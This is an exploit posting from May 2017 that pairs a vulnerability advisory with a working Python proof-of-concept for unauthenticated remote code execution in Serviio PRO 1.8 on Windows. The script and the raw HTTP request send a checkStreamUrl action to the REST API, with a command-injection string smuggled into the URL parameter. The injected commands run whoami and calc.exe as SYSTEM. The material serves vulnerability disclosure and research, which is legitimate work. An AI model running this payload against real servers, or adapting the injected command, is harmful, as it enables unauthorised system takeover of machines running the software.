Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution
Posted on 04 May 2017
#!/usr/bin/env python # # # Serviio PRO 1.8 DLNA Media Streaming Server REST API Arbitrary Code Execution # # # Vendor: Petr Nejedly | Six Lines Ltd # Product web page: http://www.serviio.org # Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1 # # Summary: Serviio is a free media server. It allows you to stream your media # files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, # games console or mobile phone) on your connected home network. # # Desc: The version of Serviio installed on the remote Windows host is affected by # an unauthenticated remote code execution vulnerability due to improper access control # enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper # calls cmd.exe to execute system commands. A remote attacker can exploit this with a # simple JSON request, gaining system access with SYSTEM privileges via a specially # crafted request and escape sequence. # # ================================================================================= # org/serviio/ui/resources/server/ActionsServerResource.java: # ----------------------------------------------------------- # # private ResultRepresentation checkStreamUrl(ActionRepresentation representation) { # this.validateParameters(representation, 2); # try { # MediaFileType fileType = MediaFileType.valueOf(representation.getParameters().get(0)); # String url = StringUtils.trim(representation.getParameters().get(1)); # LocalItemMetadata md = MetadataFactory.getMetadataInstance(fileType); # DeliveryContext context = fileType == MediaFileType.VIDEO ? new VideoDeliveryContext(false, null) : new AudioDeliveryContext(false, null); # FFmpegMetadataRetriever.retrieveOnlineMetadata(md, url, context); # return this.responseOk(); # } # catch (InvalidMediaFormatException e) { # return this.responseOk(603); # } # # ================================================================================= # serviio.jar / external / ProcessExecutor.java: # ---------------------------------------------- # # private Map<String, String> createWindowsRuntimeEnvironmentVariables() { # HashMap<String, String> newEnv = new HashMap<String, String>(); # newEnv.putAll(System.getenv()); # ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2]; # i18n[0] = new ProcessExecutorParameter("cmd"); # i18n[1] = new ProcessExecutorParameter("/C"); # for (int counter = 0; counter < this.commandArguments.length; ++counter) { # ProcessExecutorParameter argument = this.commandArguments[counter]; # String envName = "JENV_" + counter; # i18n[counter + 2] = new ProcessExecutorParameter("%" + envName + "%"); # boolean quotesNeededForWindows = this.quotesNeededForWindows(argument); # if (!quotesNeededForWindows) { # argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue())); # } # newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows)); # } # this.commandArguments = i18n; # String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty("java.io.tmpdir")); # newEnv.put("HOMEDRIVE", tempPath[0]); # newEnv.put("HOMEPATH", tempPath[1]); # newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables()); # if (log.isTraceEnabled()) { # log.trace(String.format("Env variables: %s", newEnv.toString())); # } # return newEnv; # } # # private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) { # return (quotesNeeded ? """ : "") + argument + (quotesNeeded ? """ : ""); # } # # protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) { # boolean quotesNeeded = argument.getValue().indexOf(" ") > -1; # return quotesNeeded; # } # # private String escapeAmpersandForWindows(String value) { # return value.replaceAll("&", "^&"); # } # # ================================================================================= # # Tested on: Restlet-Framework/2.2 # Windows 7, UPnP/1.0 DLNADOC/1.50, Serviio/1.8 # Java/1.8.0_121 # Java/1.8.0_111 # Java/1.8.0_91 # # # Vulnerability discovered by Gjoko 'LiquidWorm' Krstic # @zeroscience # # # Advisory ID: ZSL-2017-5408 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5408.php # # SSD Advisory: https://blogs.securiteam.com/index.php/archives/3094 # # # 12.12.2016 # # # The PoC will create a file testingus3.txt in 'C:Program FilesServiioin' with whoami # output in it and start a calc.exe child process as nt authoritysystem. # from urllib2 import Request, urlopen import sys if (len(sys.argv) <= 1): print '[*] Usage: serviio_rce.py <ip address>' exit(0) host = sys.argv[1] values = """ <action> <name>checkStreamUrl</name> <parameter>VIDEO</parameter> <parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter> </action>""" headers = { 'Content-Type': 'application/xml', 'Accept': 'application/xml' } request = Request('http://'+host+':23423/rest/action', data=values, headers=headers) response_body = urlopen(request).read() print response_body ''' Raw request: POST /rest/action HTTP/1.1 Host: 10.211.55.3:23423 Content-Length: 93 Accept: application/json, text/plain, */* Origin: http://10.211.55.3:23423 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36 Content-Type: application/json;charset=UTF-8 Referer: http://10.211.55.3:23423/console/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 DNT: 1 Connection: close {"name":"checkStreamUrl","parameter":["VIDEO","1.2.3.4'"`&whoami >testingus3.txt&&calc&`'"]} '''
